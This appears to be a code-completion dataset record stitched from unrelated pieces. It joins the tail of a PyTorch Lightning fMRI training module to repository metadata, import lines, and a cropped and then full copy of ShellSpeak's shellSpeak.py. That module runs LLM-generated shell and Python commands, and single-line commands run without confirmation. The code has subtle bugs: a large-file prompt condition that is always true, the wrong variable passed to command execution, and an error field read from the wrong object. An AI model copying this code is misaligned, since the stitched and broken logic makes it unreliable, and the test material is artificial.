'minmax': adjusted_mse = F.mse_loss(subj_avg_logits * (self.scaler.data_max_[0] - self.scaler.data_min_[0]) + self.scaler.data_min_[0], subj_targets * (self.scaler.data_max_[0] - self.scaler.data_min_[0]) + self.scaler.data_min_[0]) adjusted_mae = F.l1_loss(subj_avg_logits * (self.scaler.data_max_[0] - self.scaler.data_min_[0]) + self.scaler.data_min_[0], subj_targets * (self.scaler.data_max_[0] - self.scaler.data_min_[0]) + self.scaler.data_min_[0]) pearson = PearsonCorrCoef().to(total_out.device) prearson_coef = pearson(subj_avg_logits, subj_targets) self.log(f"{mode}_corrcoef", prearson_coef, sync_dist=True) self.log(f"{mode}_mse", mse, sync_dist=True) self.log(f"{mode}_mae", mae, sync_dist=True) self.log(f"{mode}_adjusted_mse", adjusted_mse, sync_dist=True) self.log(f"{mode}_adjusted_mae", adjusted_mae, sync_dist=True) def training_step(self, batch, batch_idx): loss = self._calculate_loss(batch, mode="train") return loss def validation_step(self, batch, batch_idx, dataloader_idx): if self.hparams.pretraining: if dataloader_idx == 0: self._calculate_loss(batch, mode="valid") else: self._calculate_loss(batch, mode="test") else: subj, logits, target = self._compute_logits(batch) if self.hparams.downstream_task_type == 'multi_task': output = torch.stack([logits[1].squeeze(), target], dim=1) # logits[1] : regression head else: output = torch.stack([logits.squeeze(), target.squeeze()], dim=1) return (subj, output) def validation_epoch_end(self, outputs): # called at the end of the validation epoch # outputs is an array with what you returned in validation_step for each batch # outputs = [{'loss': batch_0_loss}, {'loss': batch_1_loss}, ..., {'loss': batch_n_loss}] if not self.hparams.pretraining: outputs_valid = outputs[0] outputs_test = outputs[1] subj_valid = [] subj_test = [] out_valid_list = [] out_test_list = [] for subj, out in outputs_valid: subj_valid += subj out_valid_list.append(out.detach()) for subj, out in outputs_test: subj_test += subj out_test_list.append(out.detach()) subj_valid = np.array(subj_valid) subj_test = np.array(subj_test) total_out_valid = torch.cat(out_valid_list, dim=0) total_out_test = torch.cat(out_test_list, dim=0) # save model predictions if it is needed for future analysis # self._save_predictions(subj_valid,total_out_valid,mode="valid") # self._save_predictions(subj_test,total_out_test, mode="test") # evaluate self._evaluate_metrics(subj_valid, total_out_valid, mode="valid") self._evaluate_metrics(subj_test, total_out_test, mode="test") # If you use loggers other than Neptune you may need to modify this def _save_predictions(self,total_subjs,total_out, mode): self.subject_accuracy = {} for subj, output in zip(total_subjs,total_out): if self.hparams.downstream_task == 'sex': score = torch.sigmoid(output[0]).item() else: score = output[0].item() if subj not in self.subject_accuracy: self.subject_accuracy[subj] = {'score': [score], 'mode':mode, 'truth':output[1], 'count':1} else: self.subject_accuracy[subj]['score'].append(score) self.subject_accuracy[subj]['count']+=1 if self.hparams.strategy == None : pass elif 'ddp' in self.hparams.strategy and len(self.subject_accuracy) > 0: world_size = torch.distributed.get_world_size() total_subj_accuracy = [None for _ in range(world_size)] torch.distributed.all_gather_object(total_subj_accuracy,self.subject_accuracy) # gather and broadcast to whole ranks accuracy_dict = {} for dct in total_subj_accuracy: for subj, metric_dict in dct.items(): if subj not in accuracy_dict: accuracy_dict[subj] = metric_dict else: accuracy_dict[subj]['score']+=metric_dict['score'] accuracy_dict[subj]['count']+=metric_dict['count'] self.subject_accuracy = accuracy_dict if self.trainer.is_global_zero: for subj_name,subj_dict in self.subject_accuracy.items(): subj_pred = np.mean(subj_dict['score']) subj_error = np.std(subj_dict['score']) subj_truth = subj_dict['truth'].item() subj_count = subj_dict['count'] subj_mode = subj_dict['mode'] # train, val, test # only save samples at rank 0 (total iterations/world_size numbers are saved) os.makedirs(os.path.join('predictions',self.hparams.id), exist_ok=True) with open(os.path.join('predictions',self.hparams.id,'iter_{}.txt'.format(self.current_epoch)),'a+') as f: f.write('subject:{} ({})\ncount: {} outputs: {:.4f}\u00B1{:.4f} - truth: {}\n'.format(subj_name,subj_mode,subj_count,subj_pred,subj_error,subj_truth)) with open(os.path.join('predictions',self.hparams.id,'iter_{}.pkl'.format(self.current_epoch)),'wb') as fw: pickle.dump(self.subject_accuracy, fw) def test_step(self, batch, batch_idx): subj, logits, target = self._compute_logits(batch) output = torch.stack([logits.squeeze(), target.squeeze()], dim=1) return (subj, output) def test_epoch_end(self, outputs): if not self.hparams.pretraining: subj_test = [] out_test_list = [] for subj, out in outputs: subj_test += subj out_test_list.append(out.detach()) subj_test = np.array(subj_test) total_out_test = torch.cat(out_test_list, dim=0) # self._save_predictions(subj_test, total_out_test, mode="test") self._evaluate_metrics(subj_test, total_out_test, mode="test") def on_train_epoch_start(self) -> None: self.starter, self.ender = torch.cuda.Event(enable_timing=True), torch.cuda.Event(enable_timing=True) self.total_time = 0 self.repetitions = 200 self.gpu_warmup = 50 self.timings=np.zeros((self.repetitions,1)) return super().on_train_epoch_start() def on_train_batch_start(self, batch, batch_idx): if self.hparams.scalability_check: if batch_idx < self.gpu_warmup: pass elif (batch_idx-self.gpu_warmup) < self.repetitions: self.starter.record() return super().on_train_batch_start(batch, batch_idx) def on_train_batch_end(self, out, batch, batch_idx): if self.hparams.scalability_check: if batch_idx < self.gpu_warmup: pass elif (batch_idx-self.gpu_warmup) < self.repetitions: self.ender.record() torch.cuda.synchronize() curr_time = self.starter.elapsed_time(self.ender) / 1000 self.total_time += curr_time self.timings[batch_idx-self.gpu_warmup] = curr_time elif (batch_idx-self.gpu_warmup) == self.repetitions: mean_syn = np.mean(self.timings) std_syn = np.std(self.timings) Throughput = (self.repetitions*self.hparams.batch_size*int(self.hparams.num_nodes) * int(self.hparams.devices))/self.total_time self.log(f"Throughput", Throughput, sync_dist=False) self.log(f"mean_time", mean_syn, sync_dist=False) self.log(f"std_time", std_syn, sync_dist=False) print('mean_syn:',mean_syn) print('std_syn:',std_syn) return super().on_train_batch_end(out, batch, batch_idx) # def on_before_optimizer_step(self, optimizer, optimizer_idx: int) -> None: def configure_optimizers(self): if self.hparams.optimizer == "AdamW": optim = torch.optim.AdamW( self.parameters(), lr=self.hparams.learning_rate, weight_decay=self.hparams.weight_decay ) elif self.hparams.optimizer == "SGD": optim = torch.optim.SGD( self.parameters(), lr=self.hparams.learning_rate, weight_decay=self.hparams.weight_decay, momentum=self.hparams.momentum ) else: print("Error: Input a correct optimizer name (default: AdamW)") if self.hparams.use_scheduler: print() print("training steps: " + str(self.trainer.estimated_stepping_batches)) print("using scheduler") print() total_iterations = self.trainer.estimated_stepping_batches # ((number of samples/batch size)/number of gpus) * num_epochs gamma = self.hparams.gamma base_lr = self.hparams.learning_rate warmup = int(total_iterations * 0.05) # adjust the length of warmup here. T_0 = int(self.hparams.cycle * total_iterations) T_mult = 1 sche = CosineAnnealingWarmUpRestarts(optim, first_cycle_steps=T_0, cycle_mult=T_mult, max_lr=base_lr,min_lr=1e-9, warmup_steps=warmup, gamma=gamma) print('total iterations:',self.trainer.estimated_stepping_batches * self.hparams.max_epochs) scheduler = { "scheduler": sche, "name": "lr_history", "interval": "step", } return [optim], [scheduler] else: return optim @staticmethod def add_model_specific_args(parent_parser): parser = ArgumentParser(parents=[parent_parser], add_help=False, formatter_class=ArgumentDefaultsHelpFormatter) group = parser.add_argument_group("Default classifier") # training related group.add_argument("--grad_clip", action='store_true', help="whether to use gradient clipping") group.add_argument("--optimizer", type=str, default="AdamW", help="which optimizer to use [AdamW, SGD]") group.add_argument("--use_scheduler", action='store_true', help="whether to use scheduler") group.add_argument("--weight_decay", type=float, default=0.01, help="weight decay for optimizer") group.add_argument("--learning_rate", type=float, default=1e-3, help="learning rate for optimizer") group.add_argument("--momentum", type=float, default=0, help="momentum for SGD") group.add_argument("--gamma", type=float, default=1.0, help="decay for exponential LR scheduler") group.add_argument("--cycle", type=float, default=0.3, help="cycle size for CosineAnnealingWarmUpRestarts") group.add_argument("--milestones", nargs="+", default=[100, 150], type=int, help="lr scheduler") group.add_argument("--adjust_thresh", action='store_true', help="whether to adjust threshold for valid/test") # pretraining-related group.add_argument("--use_contrastive", action='store_true', help="whether to use contrastive learning (specify --contrastive_type argument as well)") group.add_argument("--contrastive_type", default=0, type=int, help="combination of contrastive losses to use [1: Use the Instance contrastive loss function, 2: Use the local-local temporal contrastive loss function, 3: Use the sum of both loss functions]") group.add_argument("--pretraining", action='store_true', help="whether to use pretraining") group.add_argument("--augment_during_training", action='store_true', help="whether to augment input images during training") group.add_argument("--augment_only_affine", action='store_true', help="whether to only apply affine augmentation") group.add_argument("--augment_only_intensity", action='store_true', help="whether to only apply intensity augmentation") group.add_argument("--temperature", default=0.1, type=float, help="temperature for NTXentLoss") # model related group.add_argument("--model", type=str, default="none", help="which model to be used") group.add_argument("--in_chans", type=int, default=1, help="Channel size of input image") group.add_argument("--embed_dim", type=int, default=24, help="embedding size (recommend to use 24, 36, 48)") group.add_argument("--window_size", nargs="+", default=[4, 4, 4, 4], type=int, help="window size from the second layers") group.add_argument("--first_window_size", nargs="+", default=[2, 2, 2, 2], type=int, help="first window size") group.add_argument("--patch_size", nargs="+", default=[6, 6, 6, 1], type=int, help="patch size") group.add_argument("--depths", nargs="+", default=[2, 2, 6, 2], type=int, help="depth of layers in each stage") group.add_argument("--num_heads", nargs="+", default=[3, 6, 12, 24], type=int, help="The number of heads for each attention layer") group.add_argument("--c_multiplier", type=int, default=2, help="channel multiplier for Swin Transformer architecture")
group.add_argument("--last_layer_full_MSA", type=str2bool, default=False, help="whether to use full-scale multi-head self-attention at the last layers")
2
2023-10-28 09:26:03+00:00
12k
TheCompAce/ShellSpeak
modules/shellSpeak.py
[ { "identifier": "CommandResult", "path": "modules/command_result.py", "snippet": "class CommandResult:\n def __init__(self, stdout, stderr):\n self.out = stdout\n self.err = stderr" }, { "identifier": "LLM", "path": "modules/llm.py", "snippet": "class LLM:\n def __ini...
import asyncio import datetime import json import os import platform import queue import re import subprocess import logging import signal import base64 import threading import spacy from pygments import lexers from modules.command_result import CommandResult from modules.llm import LLM, ModelTypes from modules.run_command import CommandRunner from modules.utils import get_file_size, is_valid_filename, list_files_and_folders_with_sizes, load_settings, map_possible_commands, get_os_name, print_colored_text, capture_styled_input, read_file, redact_json_values, replace_placeholders, get_token_count, trim_to_right_token_count, trim_to_token_count from functools import partial from multiprocessing import Pool, TimeoutError
9,375
else: display_content = CommandResult(script_text, f"Invalid Script Type : {script_type}") if command_output.err != "": print_colored_text(f"[red]Shell Error: {command_output.err} with {command_output.out}") display_content = command_output.err else: display_content = command_output.out logging.info(f"Translate Shell Execute : {command_output}") elif type == "response_formatting": display_content = content["text"] elif type == "error_handling": display_content = content["type"] display_error = err else: display_content = command_output display_error = f"Invalid command type '{type}'." else: display_content = command_output display_error = err logging.info(f"Translate to Command Object Error : {err}, command_output= {command_output}") except Exception as e: display_content = command_output display_error = e logging.info(f"Translate to Command Object Error : {e}, command_output= {command_output}") logging.info(f"Translate to Command Display Content : {display_content}") if display_error: return display_error return display_content def check_script(self, code_type, text): command_output = text if f'```{code_type}' in text: command_output = self.extract_script_command(code_type, text) logging.info(f"Translate '{code_type}' Code : {text}") return command_output async def execute_command(self, command): try: logging.info(f"Execute Command : {command}") result = await self.run_command(command) if result.err: logging.info(f"Execute Error : {result.err}") return False, result logging.info(f"Execute Output : {result.out}") return True, result except Exception as e: return False, CommandResult("", str(e)) def translate_output(self, output, is_internal=False): logging.info(f"Translate Output : {output}") send_prompt = self.settings['display_prompt'] total_tokens = self.llm_output_size - (get_token_count(send_prompt) + get_token_count(output) + 80) set_command_history = self.command_history token_count = get_token_count(set_command_history) if token_count > total_tokens: set_command_history = trim_to_right_token_count(set_command_history, total_tokens) max_llm = (self.llm_len - 80) #80 is used to padd json formatting of System Messages and over all prompt size. max_llm -= get_token_count(send_prompt) max_llm -= get_token_count(output) history_tokens, command_history = self.string_sizer(self.command_history, output, self.llm_history_len) command_history = json.dumps(command_history) max_llm -= history_tokens # Add get folders/Files current_directory = os.getcwd() folder_list = list_files_and_folders_with_sizes(current_directory) folder_list = { "path": current_directory, "folder_list": folder_list } folder_list = json.dumps(folder_list) folder_list_tokens, folder_list = self.string_sizer(folder_list, self.command_history + "/n" + output, self.llm_folder_len) folder_list = json.dumps(folder_list) max_llm -= folder_list_tokens kwargs = { 'get_os_name': get_os_name(), 'command_history': set_command_history, 'internal_script': str(is_internal) } send_prompt = replace_placeholders(send_prompt, **kwargs) logging.info(f"Translate Output Display System Prompt : {send_prompt}") logging.info(f"Translate Output Display User Prompt : {output}") display_output = self.llm.ask(send_prompt, output, model_type=ModelTypes(self.settings.get('model', "OpenAI")), return_type="text") # save_history_data(output, f"Assistant : {send_prompt}", self.settings) self.vector_db.store_long_term_memory(f"System : {send_prompt}\n User : {output}") logging.info(f"Translate Output Display Response : {display_output}") return display_output def display_output(self, output): logging.info(f"Display Output : {output}") print_colored_text(output) def display_about(self): print_colored_text("[bold][yellow]======================================================\nShellSpeak\n======================================================\n[white]AI powered Console Input\nVisit: https://github.com/TheCompAce/ShellSpeak\nDonate: @BradfordBrooks79 on Venmo\n\n[grey]Type 'help' for Help.\n[yellow]======================================================\n") def display_help(self): print_colored_text("[bold][yellow]======================================================\nShellSpeak Help\n======================================================\n[white]Type:\n'exit': to close ShellSpeak\n'user: /command/': pass a raw command to execute then reply threw the AI\n'file: /filepath/': adds file data to the command prompt. (use can send a folder path, using ',' to exclude folders and files.)\n'clm': Clear command Memory\n'rset': Reloads the settings file (this happens on every loading of the prompt.)\n'about': Shows the About Information\n'help': Shows this Help information.\n[yellow]======================================================\n") async def run(self): self.display_about() while True:
# Import necessary modules # Load English tokenizer, POS tagger, parser, NER and word vectors nlp = spacy.load("en_core_web_sm") logging.basicConfig(filename='app.log', level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') class ShellSpeak: def __init__(self, settings, base_path, vectorDb): self.llm_len = int(settings.get("llm_size", 14000)) self.llm_history_len = int(settings.get("llm_history_size", 4000)) self.llm_file_len = int(settings.get("llm_file_size", 4000)) self.llm_folder_len = int(settings.get("llm_folder_size", 4000)) self.llm_slide_len = int(settings.get("llm_slide_len", 120)) self.temp_file = settings.get("temp_file", "temp") self.llm_output_size = int(settings.get("llm_output_size", 4097)) self.use_cache = settings.get("use_cache", False) self.cache_file = settings.get("cache_file", None) self.vector_for_commands = settings.get("vector_for_commands", False) self.vector_for_history = settings.get("vector_for_history", True) self.vector_for_folders = settings.get("vector_for_folders", True) self.data_file = 'path_to_your_data_file.json' self.use_indexing = settings.get('use_indexing', False) self.vector_db = vectorDb self.settings = settings self.command_history = "" self.settingsRoot = base_path self.files = [] self.llm = LLM(model_type=ModelTypes(self.settings.get('model', "OpenAI")), use_cache=self.use_cache, cache_file=self.cache_file) #Zephyr7bBeta self.command_runner = CommandRunner(self) logging.info(f"Shell Speak Loaded") def capture_input(self): # Get current working directory current_directory = os.getcwd() # Get environment (if available) environment = os.environ.get('VIRTUAL_ENV', None) if environment: environment = os.path.basename(environment) # Extracting last part of the path as environment name # Formatted prompt prompt = f"[green]({environment})[cyan] {current_directory}[white]>" if environment else f"{current_directory}{self.settings['command_prompt']}" set_input = capture_styled_input(prompt) logging.info(f"Using input : {set_input}") return set_input def show_file(self, caption, body): print_colored_text(f"[yellow]==== {caption} ====") num_width = len(str(len(body))) for line_number, line in enumerate(body, 1): # Start counting from 1 print_colored_text(f'[yellow]{line_number:{num_width}}:[cyan] {line}') # Adjust the format as needed print_colored_text("[yellow]====================") def detect_language(self, code): try: lexer = lexers.guess_lexer(code) return lexer.name except lexers.ClassNotFound: return None async def execute_python_script(self, python_section, filename): lines = python_section.split('\n') if len(lines) == 1: # Single-line script, execute directly script = lines[0] # script = f"{self.settings['python_command_prompt']}\n{script}" output = await self.run_python_script(script) return output else: # Multi-line script, create a python file python_filename = f'{self.temp_file}.py' if filename: # Use commented out filename check_filename = filename if (is_valid_filename(check_filename)): python_filename = filename script = '\n'.join(lines) script = f"{self.settings['python_command_prompt']}\n{script}" with open(python_filename, 'w') as python_file: python_file.write(script) self.show_file("Python File", script.split('\n')) user_confirmation = capture_styled_input("[yellow]Are you sure you want to run this Python script? (yes/no): ") if user_confirmation.lower() != 'yes': if python_filename == f'{self.temp_file}.py': os.remove(python_filename) # Remove temporary python file return CommandResult("", "Run python file Canceled.") output = await self.run_python_script(python_filename) if python_filename == f'{self.temp_file}.py': os.remove(python_filename) # Remove temporary python file return output async def run_python_script(self, script): # If the script is a file, use 'python filename.py' to execute if script.endswith('.py'): command = f'python -u {script}' else: command = f'python -u -c "{script}"' result = await self.run_command(command) return CommandResult(result.out, result.err) def extract_script_command(self, script_type, text): match = re.search(rf'```{script_type}(.*?)```', text, re.DOTALL) if match: shell_section = match.group(1).strip() else: logging.error(f"No {script_type} section found") shell_section = None return shell_section async def execute_shell_section(self, shell_section, filename): logging.info(f"Executing Shell Section : {shell_section}") shell_section.strip() lines = shell_section.split('\n') ret_value = CommandResult("", "") if len(lines) == 1: # Single-line command, execute directly command = lines[0] ret_value = await self.run_command(command) logging.error(f"Execute Shell Directory Line Strip: {ret_value}") else: # Multi-line command, create a batch file batch_filename = f'{self.temp_file}.bat' if lines[0].startswith('REM '): # Use commented out filename batch_filename = lines[0][4:].strip() # lines = lines[1:] # Remove the filename line logging.info(f"batch_filename : {batch_filename}") with open(batch_filename, 'w') as batch_file: batch_file.write('\n'.join(lines)) self.show_file("Batch File", lines) user_confirmation = capture_styled_input("[yellow]Are you sure you want to run this batch file? (yes/no): ") logging.info(f"user_confirmation : {user_confirmation}") if user_confirmation.lower() != 'yes': return CommandResult("", "Run batch file Canceled.") ret_value = await self.run_command(batch_filename) logging.info(f"command output : out: {ret_value.out}, err: {ret_value.err}") if batch_filename == f'{self.temp_file}.bat': os.remove(batch_filename) # Remove temporary batch file logging.info(f"removing : {batch_filename}") return ret_value def create_process_group(self): # Create a new process group process_group_id = os.set_handle_inheritance(0, 1) return process_group_id async def run_command(self, command): command += " && cd" logging.info(f"run command : {command}") stdout, stderr = await self.command_runner.run(command) if stderr == "": lines = stdout.strip().split("\n") if lines: new_dir = lines[-1] # Assuming the last line of output contains the new working directory if os.path.isdir(new_dir): os.chdir(new_dir) # Change to the new working directory in your parent process # Remove the last line containing the new directory from the output lines = lines[:-1] stdout = '\n'.join(lines) else: logging.error(f"Invalid directory: {new_dir}") else: logging.error("No output to determine the new working directory") if stdout.find("Traceback (most recent call last):") > -1: stderr = stdout stdout = command else: stderr = f"Command : {command}, Error: {stderr}" logging.info(f"run return : out: {stdout}, err: {stderr}") ret_val = CommandResult(stdout, stderr) return ret_val def format_for_display(self, input, output): timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') self.command_history += f"History: [Time: {timestamp}\nInput: {input}\nOutput: {output}]\n" self.display_output(output) def shrink_file_data(self, file_data, target_tokens): # Get the current token count of file_data current_tokens = get_token_count(file_data) if current_tokens > target_tokens: # Estimate the number of characters to keep based on the average token length average_token_length = len(file_data) / current_tokens chars_to_keep = int(target_tokens * average_token_length) # Only keep the last part of file_data truncated_data = file_data[-chars_to_keep:] return truncated_data # If the file_data is already within the limit, return it as is return file_data def find_relevant_data(file_data, target_tokens): # Your logic here to find relevant information within the token count return file_data[:target_tokens] def expand_directories(self, file_paths, exclusions): new_file_list = [] for file_path in file_paths: if os.path.isdir(file_path): # If the path is a directory, ask the user whether to include its files user_decision = input(f"The path '{file_path}' is a directory. Do you want to add all files in this directory? (y/n): ") if user_decision.lower() == 'y': # If yes, walk through the directory and add all files for root, dirs, files in os.walk(file_path): # Remove excluded directories so os.walk doesn't traverse them dirs[:] = [d for d in dirs if d not in exclusions] for name in files: if name not in exclusions: new_file_list.append(os.path.join(root, name)) else: # If no, inform the user that the directory is being skipped print_colored_text(f"[blue]Skipping directory '{file_path}'.") else: # If the path is a file, just add it to the list if os.path.basename(file_path) not in exclusions: new_file_list.append(file_path) return new_file_list def string_sizer(self, data, context, length=1024, use_vector=True): set_data = data.strip() token_count = get_token_count(set_data) print(f"token_count = {token_count}") if token_count > length: if use_vector: relevant_segments = self.vector_db.search_similar_conversations(context, top_n=length) # relevant_segments = find_relevant_file_segments( # history_text= context, # file_data=set_data, # window_size=length, # or any other size you deem appropriate (8124) # overlap=self.llm_slide_len, # or any other overlap size you deem appropriate # top_k=1 # or any other number of segments you deem appropriate # ) # set_data = '\n'.join([f"[{item[0]}, {item[1]}, {item[2]}]" for item in relevant_segments]) set_data = '/n.../n'.join(relevant_segments) else: set_data = trim_to_right_token_count(set_data, len) data_tokens = get_token_count(set_data) logging.info(f"Translate to Command History Token Count : {data_tokens}") return data_tokens, set_data async def translate_to_command(self, user_input): user_command_prompt = self.settings['user_command_prompt'] send_prompt = self.settings['command_prompt'] max_llm = (self.llm_len - 80) #80 is used to pad json formatting of System Messages and over all prompt size. max_llm -= get_token_count(send_prompt) max_llm -= get_token_count(user_input) history_tokens, command_history = self.string_sizer(self.command_history, user_input, self.llm_history_len, self.vector_for_history) command_history = json.dumps(command_history) max_llm -= history_tokens # Add get folders/Files current_directory = os.getcwd() folder_list = list_files_and_folders_with_sizes(current_directory) folder_list = { "path": current_directory, "folder_list": folder_list } folder_list = json.dumps(folder_list) folder_list_tokens, folder_list = self.string_sizer(folder_list, command_history + "/n" + user_input, self.llm_folder_len, self.vector_for_commands) folder_list = json.dumps(folder_list) max_llm -= folder_list_tokens set_command_files_data = [] total_tokens = 0 # Extract file paths and exclusion list from user_input file_paths = re.findall(r'file:\s*(".*?"|\S+)', user_input) # Remove quotes from file paths, if present self.files = [fp.strip('"') for fp in file_paths] for f, file in enumerate(self.files): exclusions = file.split(',') file_path = exclusions[0] exclusions.pop(0) self.files[f] = file_path self.exclusions = exclusions self.files = self.expand_directories(self.files, self.exclusions) # Use the new function to expand directories into file lists self.files = self.expand_directories(self.files, self.exclusions) if len(self.files) > 0: total_size = 0 total_data = "" files_data = [] for file in self.files: file_data_content = read_file(file) # Note: Changed to 'file_data_content' if len(file_data_content) > 50000: #Cap for NLP = 1000000 # Prompt the user for a decision include_file = input(f"The file {file} is very large. Do you want to include it? (yes/no): ") if include_file.lower() != 'yes' or include_file.lower() != 'y': print_colored_text(f"[yellow]Skipping file: {file}") continue # Skip the rest of the loop and therefore the file file_data = { "file": file, "file_data": file_data_content, "file_size": int(get_file_size(file)), "file_tokens": get_token_count(file_data_content) # Note: Changed to 'file_data_content' } total_size += file_data["file_size"] total_data += file_data["file_data"] files_data.append(file_data) # Sort files_data by file_tokens in descending order files_data = sorted(files_data, key=lambda x: x['file_tokens'], reverse=True) remaining_tokens = self.llm_file_len remaining_tokens_split = int(remaining_tokens / len(files_data)) + 1 new_files_data = [] for f, file in enumerate(files_data): if file["file_tokens"] > remaining_tokens_split: file["fileIndex"] = f file["file_tokens"] = remaining_tokens_split new_files_data.append(file) else: remaining_tokens -= file["file_tokens"] div_val = (len(files_data) - (len(files_data) - len(new_files_data))) if div_val == 0: div_val = 1 remaining_tokens_split = int(remaining_tokens / div_val) if len(new_files_data) > 0: for new_file in new_files_data: print_colored_text(f"[cyan]File {new_file['file']} Trimming") relevant_segments = self.vector_db.search_similar_conversations(new_file['file_data']) # relevant_segments = find_relevant_file_segments( # history_text=folder_list + "\n" + command_history + "\n"+ user_input, # file_data=new_file['file_data'], # window_size=new_file['file_tokens'], # or any other size you deem appropriate (8124) # overlap=self.llm_slide_len, # or any other overlap size you deem appropriate # top_k=1 # or any other number of segments you deem appropriate # ) new_file['file_data'] = '/n.../n'.join(relevant_segments) file_data_content = new_file['file_data'] new_file['file_tokens'] = get_token_count(file_data_content) files_data[new_file["fileIndex"]] = new_file total_tokens = 0 for file_data in files_data: total_tokens += file_data["file_tokens"] # Check if the file_data is binary and encode it with base64 if so try: # This will work if 'file_data' is text encoded_data = json.dumps(file_data['file_data']) except TypeError: # If 'file_data' is binary, encode it with base64 encoded_data = base64.b64encode(file_data['file_data']).decode('utf-8') add_command_files_data = { "file:": file_data["file"], "data:": encoded_data } set_command_files_data.append(add_command_files_data) command_files_data = json.dumps(set_command_files_data) logging.info(f"Translate to Command File Token Count : {total_tokens}") max_llm -= total_tokens commands = map_possible_commands() command_tokens, commands = self.string_sizer(commands, command_files_data + "\n" + folder_list + "\n" + command_history + "\n"+ user_input, max_llm, self.vector_for_commands) command_tokens = get_token_count(commands) logging.info(f"Translate to Command Commands Token Count : {command_tokens}") logging.info(f"Translate to Command : {user_input}") kwargs = { 'user_prompt': user_input, 'get_os_name': get_os_name(), 'commands': commands, 'command_history': command_history, 'command_files_data': command_files_data, 'current_folders_data': folder_list } user_command_prompt = replace_placeholders(user_command_prompt, **kwargs) system_command_prompt = replace_placeholders(send_prompt, **kwargs) user_tokens = get_token_count(user_command_prompt) system_tokens = get_token_count(system_command_prompt) logging.info(f"Translate to Command User Token Count : {user_tokens}") logging.info(f"Translate to Command System Token Count : {system_tokens}") logging.info(f"Translate to Command use System Prompt : {system_command_prompt}") logging.info(f"Translate to Command use User Prompt : {user_command_prompt}") # command_output = self.llm.ask(system_command_prompt, user_command_prompt, model_type=ModelTypes(self.settings.get('model', "OpenAI")), return_type="json_object") # loop = asyncio.get_event_loop() # command_output = await loop.run_in_executor(None, lambda: self.llm.ask(system_command_prompt, user_command_prompt, model_type=ModelTypes(self.settings.get('model', "OpenAI")))) command_output = await self.llm.async_ask(system_command_prompt, user_command_prompt, model_type=ModelTypes(self.settings.get('model', "OpenAI")), return_type="json_object") # save_history_data(user_command_prompt, f"User : {system_command_prompt}", self.settings) self.vector_db.store_long_term_memory(f"System : {system_command_prompt}\n User : {user_command_prompt}") logging.info(f"Translate to Command return Response : {command_output}") display_content = "" display_error = None try: if not isinstance(command_output, str): # Convert non-string command_output to a JSON-formatted string command_output_obj = { "type": "Unknown", "Content": f"{command_output}" } try: command_output_obj = json.loads(command_output) except json.JSONDecodeError as e: # Handle JSON decoding error if it occurs # You might want to log this error or handle it as per your application's needs command_output_obj = {"type": "Error", "content": str(e)} logging.info(f"Translate return Response : {command_output}") type = command_output_obj["type"] content = command_output_obj.get("content", None) err = content.get("error", None) if not err: if type == "command_execution": command = content["command"] if len(command) > 6 and command[:6] == "python": while True: run_as_mod = capture_styled_input("[yellow]Do you want to add our compatibility code? (yes/no/exit) :") run_as_code = False cancel_run = False if run_as_mod == "yes" or run_as_mod == "y": run_as_code = True break elif run_as_mod == "no" or run_as_mod == "n": run_as_code = False break elif run_as_mod == "exit": cancel_run = True break else: print_colored_text("[red]Invalid Input!") if not cancel_run: if run_as_code: # Extract the Python script or module name from the command command_parts = command_output.split() script_name = None for i, part in enumerate(command_parts): if part.endswith(".py"): script_name = part break elif part == "-m" and i < len(command_parts) - 1: script_name = command_parts[i + 1] + ".py" # Assuming the module name is a Python file name break # Open and read the script if the name is found if script_name: try: with open(script_name, 'r') as file: python_code = file.read() # Now, python_code contains the content of the Python file # You can now pass this code to execute_python_script function display_content = await self.execute_python_script(python_code) except FileNotFoundError: print_colored_text(f"[red]Error: The file {script_name} was not found.") logging.info(f"Translate Command Error: The file {script_name} was not found.") except Exception as e: print_colored_text(f"[red]Error: An error occurred while reading the file {script_name}: {e}") logging.info(f"Translate Command Error: An error occurred while reading the file {script_name}: {e}") else: print_colored_text("[red]Error: No Python script name could be extracted from the command.") logging.info(f"Translate Command Error: No Python script name could be extracted from the command.") else: success, command_output = await self.execute_command(command_output) if not success: print_colored_text(f"[red]Exe Error: {command_output.err}") display_content = command_output.err else: display_content = command_output.out logging.info(f"Translate Command Execute : {command_output}") else: logging.info(f"Translate Command Canceled : {command_output}") else: success, command_output = await self.execute_command(command) if not success and command_output.err.strip() != "": print_colored_text(f"[red]Exe Error: {command_output.err}") display_content = command_output.err else: display_content = command_output.out logging.info(f"Translate Command Execute : {display_content}") pass elif type == "script_creation": script_text = content['script'] script_type = content['script_type'] script_filename = content.get('script_filename', None) if script_type == "shell" or script_type == "batch" or script_type == "bash": display_content = await self.execute_shell_section(script_text, script_filename) elif script_type == "python": display_content = await self.execute_python_script(script_text, script_filename) else: display_content = CommandResult(script_text, f"Invalid Script Type : {script_type}") if command_output.err != "": print_colored_text(f"[red]Shell Error: {command_output.err} with {command_output.out}") display_content = command_output.err else: display_content = command_output.out logging.info(f"Translate Shell Execute : {command_output}") elif type == "response_formatting": display_content = content["text"] elif type == "error_handling": display_content = content["type"] display_error = err else: display_content = command_output display_error = f"Invalid command type '{type}'." else: display_content = command_output display_error = err logging.info(f"Translate to Command Object Error : {err}, command_output= {command_output}") except Exception as e: display_content = command_output display_error = e logging.info(f"Translate to Command Object Error : {e}, command_output= {command_output}") logging.info(f"Translate to Command Display Content : {display_content}") if display_error: return display_error return display_content def check_script(self, code_type, text): command_output = text if f'```{code_type}' in text: command_output = self.extract_script_command(code_type, text) logging.info(f"Translate '{code_type}' Code : {text}") return command_output async def execute_command(self, command): try: logging.info(f"Execute Command : {command}") result = await self.run_command(command) if result.err: logging.info(f"Execute Error : {result.err}") return False, result logging.info(f"Execute Output : {result.out}") return True, result except Exception as e: return False, CommandResult("", str(e)) def translate_output(self, output, is_internal=False): logging.info(f"Translate Output : {output}") send_prompt = self.settings['display_prompt'] total_tokens = self.llm_output_size - (get_token_count(send_prompt) + get_token_count(output) + 80) set_command_history = self.command_history token_count = get_token_count(set_command_history) if token_count > total_tokens: set_command_history = trim_to_right_token_count(set_command_history, total_tokens) max_llm = (self.llm_len - 80) #80 is used to padd json formatting of System Messages and over all prompt size. max_llm -= get_token_count(send_prompt) max_llm -= get_token_count(output) history_tokens, command_history = self.string_sizer(self.command_history, output, self.llm_history_len) command_history = json.dumps(command_history) max_llm -= history_tokens # Add get folders/Files current_directory = os.getcwd() folder_list = list_files_and_folders_with_sizes(current_directory) folder_list = { "path": current_directory, "folder_list": folder_list } folder_list = json.dumps(folder_list) folder_list_tokens, folder_list = self.string_sizer(folder_list, self.command_history + "/n" + output, self.llm_folder_len) folder_list 